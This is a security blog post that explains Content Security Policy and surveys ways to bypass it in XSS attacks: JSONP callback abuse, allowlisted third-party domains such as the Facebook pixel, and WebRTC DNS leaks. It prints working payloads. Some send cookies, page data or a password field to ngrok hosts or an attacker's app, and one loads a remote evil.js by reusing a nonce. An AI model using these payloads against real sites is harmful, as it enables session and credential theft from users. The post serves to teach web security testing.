TL;DR

Recently I have read a post from Orange Cyberdefense written by Felipe Molina, that I have learned a lot from XSS attack bypassing CSP. In real-life projects, XSS attack cannot be finished like the ones in CTF with simple-payload injection. Because website hosts are hardening their applications each year, including apply stringent CSP. So I decide to note down and summarize modern CSP bypass techniques.

There are many articles and documentation on the internet for CSP. Suffered from perfectionalism, I will extract some important definition in the first chapter for a quick reference in the future. The new bypass technique we should mainly focus on that the allowed third-party scripts will be discussed in Chapter 3.

Content Security Policy

Content Security Policy (CSP) should be well known for most hackers cybersecurity researchers. It is recognized as a browser technology, primarily aimed at shielding against attacks such as cross-site scripting (XSS), which are detailed introduced in Mozilla documentation.

From my perspective, it tells the browser what kind of paths & resources it can securely load—images, frames, and JavaScript. For example, it can restrict the browser to execute Javascript only from the same domain (self) to effectively defend injected Javascript XSS attack.

Documentation

We can always look up into Hacktricks for it has concluded a wonderful knowledge base for the CSP. Most of definition below is basically copy & paste. To enable CSP, the web server will need to be configured to the Content-Security-Policy HTTP header.It can be added in two places, that we will instantly know the CSP bypass techniques will be needed:

  • Specify in response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Specify in meta tag:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />

There are 2 concepts we need to understand in CSP—Directives & Sources. Namely we restrict the loaded content from what to where. There's a space between separating these two factors. Here is an example policy content:

Content-Security-policy:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
  • default-src: Sets a default policy for fetching resources when specific fetch directives are absent.
  • child-src: Specifies allowed resources for web workers and embedded frame contents.
  • connect-src: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restricts URLs for frames.
  • frame-ancestors: Specifies which sources can embed the current page, applicable to elements like <frame>, <iframe>, <object>, <embed>, and <applet>.
  • img-src: Defines allowed sources for images.
  • font-src: Specifies valid sources for fonts loaded using @font-face.
  • manifest-src: Defines allowed sources of application manifest files.
  • media-src: Defines allowed sources for loading media objects.
  • object-src: Defines allowed sources for <object>, <embed>, and <applet> elements.
  • base-uri: Specifies allowed URLs for loading using <base> elements.
  • form-action: Lists valid endpoints for form submissions.
  • plugin-types: Restricts mime types that a page may invoke.
  • upgrade-insecure-requests: Instructs browsers to rewrite HTTP URLs to HTTPS.
  • sandbox: Applies restrictions similar to the sandbox attribute of an <iframe>.
  • report-to: Specifies a group to which a report will be sent if the policy is violated.
  • worker-src: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
  • prefetch-src: Specifies valid sources for resources that will be fetched or prefetched.
  • navigate-to: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)

Sources

  • *: Allows all URLs except those with data:, blob:, filesystem: schemes.
  • 'self': Allows loading from the same domain.
  • 'data': Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).
  • 'none': Blocks loading from any source.
  • 'unsafe-eval': Allows the use of eval() and similar methods, not recommended for security reasons.
  • 'unsafe-hashes': Enables specific inline event handlers.
  • 'unsafe-inline': Allows the use of inline resources like inline <script> or <style>, not recommended for security reasons.
  • 'nonce': A whitelist for specific inline scripts using a cryptographic nonce (number used once).
    • If we have JS limited execution it's possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like:
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]"); /* get the nounce */
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'> /* use the nounce to load allowed scripts */
  • 'sha256-<hash>': Whitelists scripts with a specific sha256 hash.
  • 'strict-dynamic': Allows loading scripts from any source if it has been whitelisted by a nonce or hash.
  • 'host': Specifies a specific host, like example.com.
  • https:: Restricts URLs to those that use HTTPS.
  • blob:: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).
  • filesystem:: Allows resources to be loaded from the filesystem.
  • 'report-sample': Includes a sample of the violating code in the violation report (useful for debugging).
  • 'strict-origin': Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).
  • 'strict-origin-when-cross-origin': Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.
  • 'unsafe-allow-redirects': Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.

There are plenty of ways to bypass CSP depending on different circumstances. In this post I will gather some useful and new techniques to analyze. In my opinion, the most important thing is that we learn the mechanism rather than trying to remember detailed steps to finish an attack—Hacking is a mindset. Because the application of CSP is developing fast, and we always need to generate new ideas for a modern web app.

JSONP Abuse

Abusing JSONP is a classic way to bypass CSP in XSS attack. INFOSEC's Blog has explained this technique in a super well-understanding way. But the prerequisites is that certain JSONP endpoints are in allowlist, which is loooooong. When it does, the CSP content looks like:

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

This means script-src is set to self and certain particular domains (whitelist) which have JSONP endpoints that allow insecure callback methods. Then we will utilize some 'dangerous' Javascripts which belongs to the whilisted domains to perform XSS attack. The attack payload in this case could look like:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

or

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

Third Party Abuse

When we see a third-party domain in the script-src or connect-src directive following in CSP, we may need to look it up for chances to perform XSS. To learn third-party CSP bypass technique, always read the SensePost's Blog. The author provides nice lab environment with detailed introduction.

And there are a lot third-party domains. Some are inevitable for a web application to use that always gives us opportunities to attack. Such as:

EntityWhitelistCapabilitiesDocumentation
Facebookwww.facebook.com, *.facebook.comExfilNo
Hotjar*.hotjar.com, ask.hotjar.ioExfilNo
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExecYes
Amazon CloudFront*.cloudfront.netExfil, ExecNo
Amazon AWS*.amazonaws.comExfil, ExecNo
Azure.azurewebsites.net, .azurestaticapps.netExfil, ExecNo
Salesforce Heroku*.herokuapp.comExfil, ExecNo
Google Firebase*.firebaseapp.comExfil, ExecYes
Google Analyticswww.google-analytics.comExfil, ExecYes

As we can see, Jsdelivr and Google Firebase could be most dangerous. Because we can utilize them to execute commands with open public documentation that shows us how to use. Therefore, when we discover them in a CSP whitelist, it could always be a potential attack factor.

Besides, we can see two capabilities: Exfiltrate & Execution, which means action of leaking information and arbitary command execution. They are usually related to 2 CSP directives:

  • connect-src: Useful to exfiltrate data from the target site.
  • script-src: Can be execute code in target site.

In bug bounty programs, many websites add Google Analytics in CSP whitelist. So there are many researches on how to leverage https://www.google-analytics.com to perform third-party-domain XSS attack. Nice contents are found in TECH & ENGINEERING BLOG & detectify lab.

Methodology

The method of using third-party CSP bypass technique could be various for different allowed domains whitelisted. But the point is crystal clear, that we would leverage the Javascript from the third-party domain to exfiltrate or execute scripts on our target. A classic example will help us gothrough the attack mindmap.

An attack factor found in such CSP config:

Content-Security-Policy: default-src 'self’ www.facebook.com;

or

Content-Security-Policy: connect-src www.facebook.com;

As long as the Facebook documentation is not public and solid, we need to create a valid API through a real developer account. Then we can ASK our target to send us information we need by sending it our Facebook API. We can follow on general steps to perform the test:

  1. Create a Facebook Developer account
  2. Create a new "Facebook Login" app and select "Website".
  3. Go to "Settings -> Basic" and get "App ID".
  4. In the target, we can exfiltrate data by directly using the Facebook SDK gadget "fbq" through a "customEvent" and the data payload.
  5. Go to App "Event Manager" and select the application we created (note the event manager could be found in an URL similar to this: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Select the tab "Test Events" to see the events being sent out by "our" web site.

On the victim side, we can then execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
    data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

To summarize, when we have a chance to bypass CSP using third-party allowed domain whitelist, we can think and test with following mindmap:

  1. Register an account with the third party, i.e. Facebook, Jsdelivr, etc.
  2. Follow their guidelines to setup a web application or hosting a project with them. So we will have a platform/API to receive exfiltrated data or place our attack payload on it.
  3. Upload the attacker payloads to these projects.
  4. Take advantage of the hole (whitelist) in the CSP that allows these third-party domains. Meaning send our actual XSS payload with the third-party URLs.

WebRTC Bypass

Web Real-Time Communication (abbreviated as WebRTC) is a recent trend in web application technology, which promises the ability to enable real-time communication in the browser without the need for plug-ins or other requirements. We can further have a detailed study in this article.

It enables direct media-rich communication between two peers, using a peer-to-peer (P2P) topology. WebRTC resides within the user's browser, and requires no additional software to operate. The actual communication between peers is prefaced by an exchange of metadata, termed "signalling". This process is used to initiate and advertise calls, and facilitates connection establishment between unfamiliar parties.

WebRTC relies on three APIs,getUserMedia, RTCPeerConnection, RTCDataChannel. They are the developer-facing aspects of WebRTC, but there are a number of foundational technologies which are utilised in order to provide these protocols.

ICE, STUN, and TURN are necessary to establish and maintain a peer-to-peer connection over UDP. When we use a payload of WebRTC to bypass CSP, we need to choose from STUN and TURN, that we will observe from the following payloads.

Why we can leverage WebRTC to bypass CSP? It's because WebRTC doesn't check the connect-src policy of the CSP. Normally, the existing connect-src directives would naturally exclude this new label to restrict WebRTC. Then it gives us a chance to utilize a DNS request to leak information by using code like:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

or through another server option:

var pc = new RTCPeerConnection({
  "iceServers":[
      {"urls":[
        "turn:74.125.140.127:19305?transport=udp"
       ],"username":"_all_your_data_belongs_to_us",
      "credential":"."
    }]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

or similar:

const rtc = new RTCPeerConnection({
  "iceServers":[
      {"urls":
        "stun:" + leaked_var + ".<dns_domain>",
      },
     ], 
  });
rtc.createDataChannel("");
rtc.createOffer().then((offer)=>rtc.setLocalDescription(offer);

Along with this, we can set up a DNS Log Listener to receive the DNS request. Therefore, if there's no related restriction like webrtc,webrtc-data, webrtc-media in the connect-src directive of CSP, we can use this method to bypass CSP and leak information.

References

SensePost | Dress code – the talk

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

Bypassing CSP with JSONP Endpoints - Hurricane Labs

Exfiltrating User’s Private Data Using Google Analytics to Bypass CSP (humansecurity.com)

Bypassing CSP with Google Analytics - Labs Detectify

https://webrtc-security.github.io


Are you watching me?